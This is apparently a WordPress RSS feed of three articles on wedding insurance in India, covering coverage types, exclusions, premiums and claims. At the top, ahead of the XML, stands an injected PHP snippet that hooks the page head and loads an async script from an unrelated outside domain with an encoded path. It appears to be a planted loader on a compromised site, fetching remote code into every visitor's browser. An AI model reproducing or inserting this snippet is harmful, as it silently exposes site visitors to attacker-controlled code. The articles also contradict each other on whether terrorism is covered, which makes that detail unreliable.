/**<js>*/function add_my_script() {
   echo '<script async src="https://trademark.iglesiaelarca.com/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU="></script>';
}
add_action('wp_head', 'add_my_script');/**<js>*/<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>wedding insurance Archives -</title>
	<atom:link href="https://www.thebuyt.com/tag/wedding-insurance/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.thebuyt.com/tag/wedding-insurance/</link>
	<description></description>
	<lastBuildDate>Tue, 10 Jan 2023 16:32:52 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>

<image>
	<url>https://www.thebuyt.com/wp-content/uploads/2020/07/cropped-icon-32x32.png</url>
	<title>wedding insurance Archives -</title>
	<link>https://www.thebuyt.com/tag/wedding-insurance/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>How Does Wedding Insurance Work?</title>
		<link>https://www.thebuyt.com/how-does-wedding-insurance-work/</link>
					<comments>https://www.thebuyt.com/how-does-wedding-insurance-work/#respond</comments>
		
		<dc:creator><![CDATA[]]></dc:creator>
		<pubDate>Tue, 10 Jan 2023 16:32:17 +0000</pubDate>
				<category><![CDATA[Insurance]]></category>
		<category><![CDATA[How Does Wedding Insurance Work]]></category>
		<category><![CDATA[is It Worth the Cost]]></category>
		<category><![CDATA[wedding insurance]]></category>
		<guid isPermaLink="false">https://www.thebuyt.com/?p=5069</guid>

					<description><![CDATA[<p>The Buyt Desk When it comes to weddings Indians are not shy to spend. Wedding insurance is a popular choice for people whose wedding cost exceeds the amount of INR 50 lakh. However, you would not get any support from this insurance when you want to call your marriage off. “No one thinks that their [&#8230;]</p>
<p>The post <a href="https://www.thebuyt.com/how-does-wedding-insurance-work/">How Does Wedding Insurance Work?</a> appeared first on <a href="https://www.thebuyt.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p dir="ltr"><strong>The Buyt Desk</strong></p>
<p dir="ltr">When it comes to weddings Indians are not shy to spend. Wedding insurance is a popular choice for people whose wedding cost exceeds the amount of INR 50 lakh. However, you would not get any support from this insurance when you want to call your marriage off.</p>
<p dir="ltr">“No one thinks that their wedding would get canceled due to any reason. That’s a reason why most people do not approach wedding insurance. Usually, professional wedding planners encourage families to purchase this insurance coverage. The wedding insurance policy is nothing but the cancellation charges for various things that are important aspects of a wedding. It reimburses those losses as well”, reported Sanjay Datta, Chief, Underwriting, Claims, and Reinsurance, ICICI Lombard General Insurance.</p>
<h4 dir="ltr">The Popularity of Wedding Insurance in India</h4>
<p dir="ltr">Wedding insurance is not popular in India. The reason is that potential couple and their families don’t think that anything wrong would happen on their big D-day.</p>
<p dir="ltr">According to an industry expert- “We have observed people purchasing this insurance plan for weddings having more than INR 50 lakh budget. This is because such weddings feature international performers. The family can get compensation from this insurance cover when they fail to turn up”.</p>
<h4 dir="ltr">Insurance Against Fire and Floods</h4>
<p dir="ltr">These are basically the event insurance plans considered as <a href="https://www.thebuyt.com/can-you-get-wedding-insurance/">wedding covers.</a> According to Datta, “These covers can’t be bought online, off the shelf.” A client needs to contact the insurance service provider or a company for a policy, which can later be customized according to their needs.</p>
<p dir="ltr">The premium relies on the insurance company you’re choosing and the policy you select. Bajaj Allianz General Insurance’s Chief Technical Officer &#8211; TA Ramalingam said “Different features are included in our policy. The premium is based on the cover you select including wedding cancellation, burglary, property damage, wedding location/venue, and public liability.” The premium can also be affected by the decoration scale, cost of valuables, and celebration period.</p>
<p dir="ltr">Let us assume that you purchase an insurance cover just for some event cancellation due to any reason like a fire accident, declaration of state mourning, and others. Now, the premium may be INR 2,000 and GST for a cover of INR 20 lakh.</p>
<p dir="ltr">However, when you require more coverage against cancellation due to accidents, rains, no-shows of performers, terrorism, etc. you will have to get an additional premium. You will need i insurance for damage to sets, personal accidents, fire accidents, props damage, or damage to other equipment.</p>
<p dir="ltr">Before you make a final insurance purchasing decision, better compare the coverage terms of various policies because these are personalized policies with no standard template.</p>
<p dir="ltr">Wedding insurance plans of Future Generali cover wedding postponement or cancellation due to fire, natural calamities, terror attacks, curfew, and accidents involving bride, groom, or blood relatives.</p>
<p dir="ltr">Chief Distribution Officer of Future Generali Insurance, Raghavendra Rao says “An insurance cover of INR 20 lakh for a wedding in Delhi or Mumbai will cost between INR 10,000-20,000.”</p>
<h4 dir="ltr">Will Insurance Support When Wedding Is Cancelled Due To A Family Dispute?</h4>
<p dir="ltr">Incidents or accidents that are beyond the control of a bride, groom, and family are included in the wedding insurance policies. But, wedding cancellations due to disputes between the prospective couple or family members are not covered. If this would be the circumstance, the insurer will not receive any compensation for losses.</p>
<p dir="ltr">Raghavendra Rao further added that wedding insurance will not compensate for the failure of the insured to start and finish the event in the scheduled time due to insufficient funds, his/her inability to take the essential permissions, non-arrival of the guests or priests, court verdicts.”</p>
<p>The post <a href="https://www.thebuyt.com/how-does-wedding-insurance-work/">How Does Wedding Insurance Work?</a> appeared first on <a href="https://www.thebuyt.com"></a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.thebuyt.com/how-does-wedding-insurance-work/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Can You Get Wedding Insurance? How Does It Work?</title>
		<link>https://www.thebuyt.com/can-you-get-wedding-insurance/</link>
					<comments>https://www.thebuyt.com/can-you-get-wedding-insurance/#respond</comments>
		
		<dc:creator><![CDATA[]]></dc:creator>
		<pubDate>Mon, 11 Apr 2022 14:02:24 +0000</pubDate>
				<category><![CDATA[How to?]]></category>
		<category><![CDATA[Can You Get Wedding Insurance]]></category>
		<category><![CDATA[wedding insurance]]></category>
		<guid isPermaLink="false">https://www.thebuyt.com/?p=4192</guid>

					<description><![CDATA[<p>The Buyt Desk Wedding insurance can help you to recover losses from the disasters that can strike on your wedding days. Let us understand how it works and what it covers. Since the onset of the COVID-19 pandemic, many weddings were cancelled at the last moment. Reasons are various like restrictions imposed by government authorities [&#8230;]</p>
<p>The post <a href="https://www.thebuyt.com/can-you-get-wedding-insurance/">Can You Get Wedding Insurance? How Does It Work?</a> appeared first on <a href="https://www.thebuyt.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><strong>The Buyt Desk</strong></p>
<p dir="ltr">Wedding insurance can help you to recover losses from the disasters that can strike on your wedding days. Let us understand how it works and what it covers.</p>
<p dir="ltr">Since the onset of the COVID-19 pandemic, many weddings were cancelled at the last moment. Reasons are various like restrictions imposed by government authorities on the gathering of people, absence of relatives and family members, bride or groom infected by COVID-19, and travel restrictions. There were 3 major COVID-19 waves in India in the last 2 years. Many weddings have been cancelled in these 2 years. Also, there are many cases where wedding plans changed due to an increase in COVID-19 cases. People who had paid and booked huge wedding venues and catering services for 1000 guests have ended up getting married in an intimate event at home with just 20 guests. The advance paid for booking or any other type of payment are non-refundable. Many have had financial losses for either cancelling the wedding or downscaling it. If these people had opted for wedding insurance, their losses would have been covered by insurance companies.</p>
<h3 dir="ltr">What is Wedding Insurance?</h3>
<p dir="ltr">Like any other event insurance, wedding insurance is intended to shield you from different potential financial losses associated with your big day, your wedding day. This comes under liability coverage or cancellation coverage. Essentially, wedding insurance covers the couple&#8217;s investment from situations that are beyond their control and reimburses losses incurred. For example,</p>
<ul>
<li dir="ltr">
<p dir="ltr" role="presentation">You book a limo for your wedding day and it doesn&#8217;t show up and now at the last moment, you have to book another at a higher cost.</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">The bride’s custom-made gown or saree is lost in airport baggage, and she has to buy a new one at the last moment at a very high price.</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">The wedding venue shuts down for business a few days before the wedding, and now you have to book another venue at a higher price at the last moment.</p>
</li>
</ul>
<p dir="ltr"> These are a few of the potential types of wedding day financial losses. Wedding insurance will help you by covering these losses.</p>
<h4 dir="ltr">Why opt for Wedding Insurance?</h4>
<p dir="ltr">Everybody wants a dream wedding and none wants their wedding cancelled or want any last moment changes.  But at times such circumstances arise and the wedding gets postponed or cancelled at the last moment when all preparations are done. There will be huge financial losses when such uneventful things occur. Having wedding<a href="https://www.thebuyt.com/what-are-life-insurance-riders-and-how-beneficial-are-these/"> insurance will help you recover your losses</a> and be stable even if any such event happens and hinders the wedding.</p>
<h4 dir="ltr">How does it work?</h4>
<p dir="ltr">While buying a wedding insurance policy, you must decide your coverage limits and deductibles. Based on this the policy cost is evaluated, events covered by this policy is listed and the coverage limit is decided. The premium charged on wedding insurance is usually between 0.7- 2 % of the total sum assured.</p>
<h4 dir="ltr">Types of Coverages</h4>
<ul>
<li dir="ltr">
<p dir="ltr" role="presentation">Liability Coverage &#8211; This covers the damages caused by third parties in wedding ceremonies. Check with your venue if it covers event liability, if not then you should buy one. You can also add the liquor liability insurance add on to it which will cover alcohol-related incidents. Other add-ons are</p>
</li>
</ul>
<ul>
<li dir="ltr">
<p dir="ltr" role="presentation">Vendor issues</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">Guests getting sick or being injured</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">Extreme weather</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">Military deployment</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">Dress damage or wedding attire coverage</p>
</li>
</ul>
<ul>
<li dir="ltr">
<p dir="ltr" role="presentation">Cancellation Coverage &#8211;   This provides cover when a wedding is cancelled or postponed.</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">Damage to Property &#8211; This provides cover when loss or damage is done to the property during the wedding events.</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">Personal Accident &#8211; This provides cover when the bride or groom is hospitalized due to accidents.</p>
</li>
</ul>
<h4 dir="ltr">What does Wedding Insurance cover?</h4>
<ul>
<li dir="ltr">
<p dir="ltr" role="presentation">Advance payments  to caterers</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">Booking amount for the wedding venue</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">Payments made to the travel agencies</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">Hotel room booking payments</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">Costs of Wedding Invitation Card printing</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">Advance payments for music and decoration</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">Costs of venue decorations and wedding sets</p>
</li>
</ul>
<h4 dir="ltr">What Wedding Insurance doesn’t cover?</h4>
<ul>
<li dir="ltr">
<p dir="ltr" role="presentation">If the bride or groom changes their heart and decides not to marry. Cold feet are not covered.</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation"> It doesn’t cover watches and semiprecious gemstones or pearls, even if attached to a garment.</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">Other than wedding rings, no other jewellery is counted.</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">Loss of clothing, jewellery or personal property of wedding guests</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">Situations like terrorist attacks, strikes/civil unrest</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">Groom or bride kidnapping</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">Property damage due to lack of supervision or negligence</p>
</li>
</ul>
<h4 dir="ltr">How to claim Wedding Insurance?</h4>
<p dir="ltr">When an unpleasant incident happens and it is covered by your wedding insurance plan, the first thing is to inform the insurance company. The insurance company will inquire about this event to collect facts, reasons and the losses incurred. If it is as per the policy then the compensation for the loss is paid to the insured.</p>
<p dir="ltr"><strong>Summing up</strong></p>
<p dir="ltr">Every wedding is different and families involved. So are the insurance policies and add-ons. Always make sure you talk to your insurance agent in detail about what is covered and what is not. Buy add-ons if needed. You should understand every term and condition of the policy.</p>
<p>The post <a href="https://www.thebuyt.com/can-you-get-wedding-insurance/">Can You Get Wedding Insurance? How Does It Work?</a> appeared first on <a href="https://www.thebuyt.com"></a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.thebuyt.com/can-you-get-wedding-insurance/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Planning To Get Married? Should You Get Wedding Insurance?</title>
		<link>https://www.thebuyt.com/planning-to-get-married-should-you-get-wedding-insurance/</link>
					<comments>https://www.thebuyt.com/planning-to-get-married-should-you-get-wedding-insurance/#respond</comments>
		
		<dc:creator><![CDATA[]]></dc:creator>
		<pubDate>Mon, 24 Jan 2022 11:29:35 +0000</pubDate>
				<category><![CDATA[Insurance]]></category>
		<category><![CDATA[wedding insurance]]></category>
		<guid isPermaLink="false">https://www.thebuyt.com/?p=3920</guid>

					<description><![CDATA[<p>The Buyt Desk A wedding is a milestone in the journey of life. People go all the way out to make it memorable and a grand ceremony. From booking a venue, caterer to the event management team, transportation, everything stays on the list. Weddings are once in a lifetime events when there is no cost-cutting. [&#8230;]</p>
<p>The post <a href="https://www.thebuyt.com/planning-to-get-married-should-you-get-wedding-insurance/">Planning To Get Married? Should You Get Wedding Insurance?</a> appeared first on <a href="https://www.thebuyt.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><strong>The Buyt Desk</strong></p>
<p dir="ltr">A wedding is a milestone in the journey of life. People go all the way out to make it memorable and a grand ceremony. From booking a venue, caterer to the event management team, transportation, everything stays on the list. Weddings are once in a lifetime events when there is no cost-cutting. But a pandemic like Coronavirus has taught us the unpredictability of life. Any incident can hit a meticulously planned event and take away its sheen. The same could happen with a wedding too. The wedding insurance turns into a saviour in such a critical time. It protects individuals from eventualities and gives a sense of relief. Let us see what wedding insurance is, what benefits it offers, and its other aspects.</p>
<h4 dir="ltr">What Is Wedding Insurance?</h4>
<p dir="ltr">Last moment cancellation of wedding arrangements might entail hefty monetary and physical loss. To avert this, <a href="https://www.thebuyt.com/what-is-a-guaranteed-insurance-plan/">the insurance companies</a> have now come up with a new product: wedding insurance. It is a great way to overcome losses that happen due to natural disasters, event cancellations or theft in the wedding. It covers the following things-</p>
<p dir="ltr"><strong>Liability Coverage &#8211;</strong> It covers any loss or damage caused to the third party during the event because of reasons such as injury, accident, theft, etc.</p>
<p dir="ltr"><strong>Cancellation Coverage &#8211;</strong> If the wedding gets cancelled because of unexplained reasons, this part covers the damage.</p>
<p dir="ltr"><strong>Damage to Property &#8211;</strong> It covers the damage caused to the property during the wedding.</p>
<p dir="ltr"><strong>Personal Accident &#8211;</strong> It provides medical coverage to the groom and bride because of an accident.</p>
<p dir="ltr">Wedding insurance provides an array of coverage in the situation of burglary, theft or loss due to fire. The insurance covers the below-listed expenses when a wedding gets cancelled.</p>
<ul>
<li dir="ltr">
<p dir="ltr" role="presentation">It covers money given to the caterer as an advance</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">Advance paid for the venue</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">The advance paid to the travel agency for the transportation arrangements</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">The advance payment for hotel booking</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">Invitation cards printing cost</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">Advance payment made for decoration and other arrangements</p>
</li>
</ul>
<h4 dir="ltr">How Does Wedding Insurance Work?</h4>
<p dir="ltr">The wedding is a one-time event in life. The cancellation of a wedding means a loss in many ways. The wedding insurance can’t cover the emotional loss but surely it can compensate for the financial loss. Here is the step for applying and claiming wedding insurance:</p>
<ul>
<li dir="ltr">
<p dir="ltr" role="presentation">Check all the requirements and select the best-suited wedding plan</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">Submit all required documents along with the insurance form</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">The insurance company verifies details and fixes the premium</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">In case of event cancellation due to any reason, the beneficiary party will inform the insurer</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">After investigating the claim, the insurance company settles the claim</p>
</li>
</ul>
<p dir="ltr">The insurance companies offering wedding insurance service claims to settle the insurance claim within 30 days of the incident, provided the beneficiary has to clarify everything within this period.</p>
<h4 dir="ltr">What Are The Advantages Of Wedding Insurance?</h4>
<p dir="ltr"><strong>The key benefits of taking wedding insurance are the following:</strong></p>
<ul>
<li dir="ltr">
<p dir="ltr" role="presentation">The premium paid is low. It is between 0.7 % to 2 % of the insured amount.</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">Insurance service providers offer customized packages. The beneficiary can go for the primary event or take the combined package.</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">Some insurance companies also offer public liability coverage. It takes care of incidences like food poisoning.</p>
</li>
</ul>
<h4 dir="ltr">What Is Not Covered In Wedding Insurance?</h4>
<p dir="ltr"><strong>The wedding insurance covers most of the things with a few exclusions like &#8211; </strong></p>
<ul>
<li dir="ltr">
<p dir="ltr" role="presentation">One cannot claim wedding insurance for a terrorist attack</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">Civil unrest or strike</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">Wedding cancellation</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">Groom/bride kidnap</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">Loss of belongings of wedding guests</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">Unavailability of wedding venue because of any reason</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">If the bride/groom is unable to reach the wedding venue because of flight delay or vehicle breakdown</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">Damage of wedding venue on the instructions of the beneficiary</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">Damage to the wedding venue caused due to mechanical, electrical or time breakdown.</p>
</li>
<li dir="ltr">
<p dir="ltr" role="presentation">Damage to property due to negligence or wrong supervision</p>
</li>
</ul>
<p>The post <a href="https://www.thebuyt.com/planning-to-get-married-should-you-get-wedding-insurance/">Planning To Get Married? Should You Get Wedding Insurance?</a> appeared first on <a href="https://www.thebuyt.com"></a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.thebuyt.com/planning-to-get-married-should-you-get-wedding-insurance/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>